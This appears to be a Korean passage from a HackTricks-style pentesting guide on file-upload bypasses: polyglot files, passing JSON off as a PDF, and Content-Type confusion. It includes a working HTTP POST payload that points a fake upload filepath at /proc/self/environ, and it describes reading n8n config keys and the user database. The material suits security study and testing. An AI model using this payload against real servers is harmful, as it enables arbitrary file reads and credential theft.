Polyglot ķŒŒģ¼ģ€ ģ‚¬ģ“ė²„ė³“ģ•ˆģ—ģ„œ ė…ķŠ¹ķ•œ ė„źµ¬ė”œ, ģ—¬ėŸ¬ ķŒŒģ¼ ķ¬ė§·ģ„ ė™ģ‹œģ— ģœ ķšØķ•˜ź²Œ ź°€ģ§ˆ 수 ģžˆėŠ” 칓멜레온처럼 ģž‘ė™ķ•©ė‹ˆė‹¤. ķ„ėÆøė”œģš“ ģ˜ˆė”œėŠ” GIFARź°€ ģžˆėŠ”ė°, ģ“ėŠ” GIF와 RAR ģ•„ģ¹“ģ“ėøŒ źø°ėŠ„ģ„ ė™ģ‹œģ— ģˆ˜ķ–‰ķ•˜ėŠ” ķ•˜ģ“ėøŒė¦¬ė“œģž…ė‹ˆė‹¤. ģ“ėŸ¬ķ•œ ķŒŒģ¼ģ€ ģ“ 씰합에 źµ­ķ•œė˜ģ§€ ģ•Šģœ¼ė©° GIF와 JS ė˜ėŠ” PPT와 JS ź°™ģ€ ģ”°ķ•©ė„ ź°€ėŠ„ķ•©ė‹ˆė‹¤.

Polyglot ķŒŒģ¼ģ˜ 핵심 ģœ ģš©ģ„±ģ€ ķŒŒģ¼ ķƒ€ģž… 기반으딜 ķŒŒģ¼ģ„ ķ•„ķ„°ė§ķ•˜ėŠ” ė³“ģ•ˆ 씰치넼 ģš°ķšŒķ•  수 ģžˆė‹¤ėŠ” 점에 ģžˆģŠµė‹ˆė‹¤. ģ—¬ėŸ¬ ģ• ķ”Œė¦¬ģ¼€ģ“ģ…˜ģ—ģ„œėŠ” ģž ģž¬ģ ģœ¼ė”œ ģœ„ķ—˜ķ•œ ķ¬ė§·(e.g., JS, PHP, ė˜ėŠ” Phar ķŒŒģ¼)ģ“ ģ—…ė”œė“œė˜ėŠ” ź²ƒģ„ 막기 ģœ„ķ•“ JPEG, GIF, DOC ź°™ģ€ ķŠ¹ģ • ķŒŒģ¼ ķƒ€ģž…ė§Œ ģ—…ė”œė“œė„¼ ķ—ˆģš©ķ•˜ėŠ” ź²ƒģ“ ģ¼ė°˜ģ ģž…ė‹ˆė‹¤. ź·øėŸ¬ė‚˜ polyglotģ€ ģ—¬ėŸ¬ ķŒŒģ¼ ķƒ€ģž…ģ˜ 구씰적 źø°ģ¤€ģ„ ė™ģ‹œģ— ė§Œģ”±ķ•Øģœ¼ė”œģØ ģ“ėŸ¬ķ•œ ģ œķ•œģ„ ģ€ė°€ķžˆ ģš°ķšŒķ•  수 ģžˆģŠµė‹ˆė‹¤.

ģ ģ‘ė „ģ“ ė†’ė”ė¼ė„ polyglotėŠ” ķ•œź³„ģ— ģ§ė©“ķ•˜źø°ė„ ķ•©ė‹ˆė‹¤. 예넼 들얓, polyglotź°€ PHAR ķŒŒģ¼ (PHp ARchive)ź³¼ JPEG넼 ė™ģ‹œģ— ķ¬ķ•Øķ•  수 ģžˆė‹¤ ķ•˜ė”ė¼ė„, ģ—…ė”œė“œ 성공 ģ—¬ė¶€ėŠ” ķ”Œėž«ķ¼ģ˜ ķŒŒģ¼ ķ™•ģž„ģž 정책에 달려 ģžˆģ„ 수 ģžˆģŠµė‹ˆė‹¤. ģ‹œģŠ¤ķ…œģ“ ķ—ˆģš© ź°€ėŠ„ķ•œ ķ™•ģž„ģžģ— ėŒ€ķ•“ ģ—„ź²©ķ•˜ė‹¤ė©“, polyglotģ˜ ė‹Øģˆœķ•œ 구씰적 ģ“ģ¤‘ģ„±ė§Œģœ¼ė”œėŠ” ģ—…ė”œė“œė„¼ ė³“ģž„ķ•˜ģ§€ 못할 수 ģžˆģŠµė‹ˆė‹¤.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

PDFģø ģ²™ ķ•˜ģ—¬ ģœ ķšØķ•œ JSON ģ—…ė”œė“œķ•˜źø°

ķ—ˆģš©ė˜ģ§€ ģ•Šė”ė¼ė„ PDF딜 ģœ„ģ”°ķ•˜ģ—¬ ģœ ķšØķ•œ JSON ķŒŒģ¼ģ„ ģ—…ė”œė“œķ•Øģœ¼ė”œģØ ķŒŒģ¼ ķƒ€ģž… ķƒģ§€ė„¼ ķšŒķ”¼ķ•˜ėŠ” 방법 (기법 출처: this blog post):

  • mmmagic library: %PDF 매직 ė°”ģ“ķŠøź°€ ģ²˜ģŒ 1024 ė°”ģ“ķŠø ģ“ė‚“ģ— ģžˆģœ¼ė©“ ģœ ķšØķ•˜ė‹¤ (ģ˜ˆģ œėŠ” ķ¬ģŠ¤ķŠø ģ°øģ”°)
  • pdflib library: JSONģ˜ ķ•„ė“œ 낓부에 ź°€ģ§œ PDF ķ¬ė§·ģ„ ģ¶”ź°€ķ•˜ģ—¬ ė¼ģ“ėøŒėŸ¬ė¦¬ź°€ ģ“ė„¼ PDF딜 ģøģ‹ķ•˜ź²Œ ķ•œė‹¤ (ģ˜ˆģ œėŠ” ķ¬ģŠ¤ķŠø ģ°øģ”°)
  • file binary: ķŒŒģ¼ģ—ģ„œ ģµœėŒ€ 1048576 ė°”ģ“ķŠøź¹Œģ§€ ģ½ģ„ 수 ģžˆė‹¤. ģ“ė³“ė‹¤ 큰 JSONģ„ ģƒģ„±ķ•“ ė„ģ¤‘ģ— JSON으딜 ķŒŒģ‹±ķ•˜ģ§€ ėŖ»ķ•˜ź²Œ ķ•œ ė‹¤ģŒ, ź·ø JSON ģ•ˆģ— ģ‹¤ģ œ PDFģ˜ 쓈기 ė¶€ė¶„ģ„ ė„£ģœ¼ė©“ fileģ€ ģ“ė„¼ PDF딜 ź°„ģ£¼ķ•œė‹¤

Content-Type ķ˜¼ė™ģ„ ķ†µķ•œ ģž„ģ˜ ķŒŒģ¼ ģ½źø°

ģ¼ė¶€ ģ—…ė”œė“œ ķ•øė“¤ėŸ¬ėŠ” ģš”ģ²­ ė³øė¬øģ„ ķŒŒģ‹±ķ•œ 결과넼 ģ‹ ė¢°ķ•œė‹¤ (예: context.getBodyData().files) 그리고 먼저 Content-Type: multipart/form-data넼 ź°•ģ œķ•˜ģ§€ ģ•Šź³  ė‚˜ģ¤‘ģ— file.filepathė”œė¶€ķ„° ķŒŒģ¼ģ„ ė³µģ‚¬ķ•©ė‹ˆė‹¤. ģ„œė²„ź°€ application/jsonģ„ ķ—ˆģš©ķ•œė‹¤ė©“, filepathź°€ ģž„ģ˜ģ˜ 딜컬 경딜넼 ź°€ė¦¬ķ‚¤ė„ė” ķ•˜ėŠ” ź°€ģ§œ files ź°ģ²“ė„¼ ģ œź³µķ•˜ģ—¬ ģ—…ė”œė“œ ķė¦„ģ„ ģž„ģ˜ ķŒŒģ¼ ģ½źø° ķ”„ė¦¬ėÆøķ‹°ėøŒė”œ 바꿀 수 ģžˆģŠµė‹ˆė‹¤.

ģ—…ė”œė“œėœ ė°”ģ“ė„ˆė¦¬ė„¼ HTTP ģ‘ė‹µģœ¼ė”œ ė°˜ķ™˜ķ•˜ėŠ” ķ¼ ģ›Œķ¬ķ”Œė”œģš°ģ— ėŒ€ķ•œ 예제 POST:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

ė°±ģ—”ė“œź°€ file.filepath넼 ė³µģ‚¬ķ•˜ėÆ€ė”œ, ģ‘ė‹µģ€ 핓당 ź²½ė”œģ˜ ė‚“ģš©ģ„ ė°˜ķ™˜ķ•œė‹¤.
ģ¼ė°˜ģ ģø ķė¦„: /proc/self/environģ„ ģ½ģ–“ $HOMEģ„ ķ™•ģøķ•œ ė’¤, $HOME/.n8n/configģ—ģ„œ 키넼, $HOME/.n8n/database.sqliteģ—ģ„œ ģ‚¬ģš©ģž ģ‹ė³„ģžė„¼ ģ–»ėŠ”ė‹¤.

ģ°øź³ ģžė£Œ

Tip

AWS 핓킹 배우기 ė° ģ—°ģŠµķ•˜źø°:HackTricks Training AWS Red Team Expert (ARTE)
GCP 핓킹 배우기 ė° ģ—°ģŠµķ•˜źø°: HackTricks Training GCP Red Team Expert (GRTE) Azure 핓킹 배우기 ė° ģ—°ģŠµķ•˜źø°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ģ§€ģ›ķ•˜źø°